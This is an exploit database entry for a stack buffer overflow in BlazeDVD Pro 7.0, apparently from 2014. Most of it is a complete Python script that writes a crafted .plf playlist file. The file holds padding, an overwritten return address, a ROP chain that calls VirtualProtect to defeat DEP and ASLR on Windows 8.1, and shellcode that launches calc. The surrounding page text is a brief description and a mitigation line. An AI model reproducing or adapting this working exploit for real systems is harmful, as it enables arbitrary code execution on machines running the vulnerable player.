BlazeDVD Pro v7.0 - (.plf) Stack Based Buffer Overflow (direct RET) - ALSR/DEP bypass on Win8.1 Pro

vendor:

BlazeDVD Pro

by:

Giovanni Bartolomucci

7.5

CVSS

HIGH

Stack Based Buffer Overflow

119

CWE

Product Name: BlazeDVD Pro

Affected Version From: 7.0.0.0

Affected Version To: 7.0.0.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 8.1 Pro

2014

BlazeDVD Pro v7.0 – (.plf) Stack Based Buffer Overflow (direct RET) – ALSR/DEP bypass on Win8.1 Pro

This exploit takes advantage of a stack based buffer overflow vulnerability in BlazeDVD Pro v7.0. By sending a specially crafted .plf file, an attacker can overwrite the return address and gain control of the program flow. This exploit bypasses ALSR and DEP protections on Windows 8.1 Pro.

Mitigation:

Update to a patched version of BlazeDVD Pro that addresses the buffer overflow vulnerability.

Source

Exploit-DB raw data:

# BlazeDVD Pro v7.0 - (.plf) Stack Based Buffer Overflow (direct RET) - ALSR/DEP bypass on Win8.1 Pro
# Date: Mon, Aug 11 2014 12:58:06 GMT
# Exploit Author: Giovanni Bartolomucci
# Vendor Homepage: http://www.blazevideo.com/
# Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe
# Version: 7.0.0.0
# Tested on: Windows 8.1 Pro
# h/t to corelanc0d3r and b33f for their tutorials

#!/usr/bin/python
 
import sys, struct
 
file = "calc.plf"

junk1   = "\x41"*260
neweip  = "\x5b\x51\x32\x60"
junk2   = "\x41"*24

rop =  "\x41\x47\x32\x60" # POP EBP # RETN [Configuration.dll]
rop += "\xb5\x59\x33\x60" # &(PUSH ESP # RET 0x0C) [Configuration.dll]
rop += "\xf6\x07\x33\x60" # POP EAX # RET [Configuration.dll]
rop += "\x91\x11\x11\x11" # Value to be subtracted, will become 0x000000080
rop += "\x39\x03\x33\x60" # POP ECX # RETN [Configuration.dll]
rop += "\x11\x11\x11\x11" # Value to subtract
rop += "\xda\x6d\x32\x60" # SUB EAX,ECX # RETN [Configuration.dll]
rop += "\x7d\x41\x32\x60" # XCHG EAX,EBX # XOR AL,60 # RETN [Configuration.dll]
rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll]
rop += "\x47\x98\x31\x60" # Junk R address
rop += "\x47\x98\x31\x60" # POP EDX # ADD AL,BYTE PTR ES:[EAX] # NOP # NOP # NOP # NOP # NOP # MOV EAX,Configur.60346A70 # RETN [Configuration.dll]
rop += "\x51\x11\x11\x11" # Value to be subtracted, will become 0x000000040
rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll]
rop += "\x11\x11\x11\x11" # Value to subtract
rop += "\x78\x8b\x30\x60" # SUB EDX,EAX # XOR EAX,EAX # CMP ECX,EDX # SETG AL # RETN 0x04 [Configuration.dll]
rop += "\x8c\xf0\x33\x60" # POP ECX # RETN [Configuration.dll]
rop += "\x41\x41\x41\x41" # Junk
rop += "\x0b\x17\x36\x60" # & Writable location [Configuration.dll]
rop += "\xee\x78\x32\x60" # POP EDI # RETN [Configuration.dll]
rop += "\x09\x48\x32\x60" # RETN (ROP NOP) [Configuration.dll]
rop += "\x65\x08\x33\x60" # POP EAX # RETN [Configuration.dll]
rop += "\xcc\x42\x05\x64" # ptr to &VirtualProtect() [IAT MediaPlayerCtrl.dll]
rop += "\xed\xd6\x33\x60" # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
rop += "\xa2\x92\x32\x60" # POP EAX # RETN [Configuration.dll]
rop += "\x90\x90\x90\x90" # NOP
rop += "\x28\xc3\x33\x60" # PUSHAD # RETN [Configuration.dll]

shellcode = ("\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63"
             "\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
             "\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30"
             "\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78"
             "\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
             "\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E"
             "\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
             "\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC")

exploit = junk1 + neweip + junk2 + rop + shellcode
 
writeFile = open(file, "w")
writeFile.write(exploit)
writeFile.close()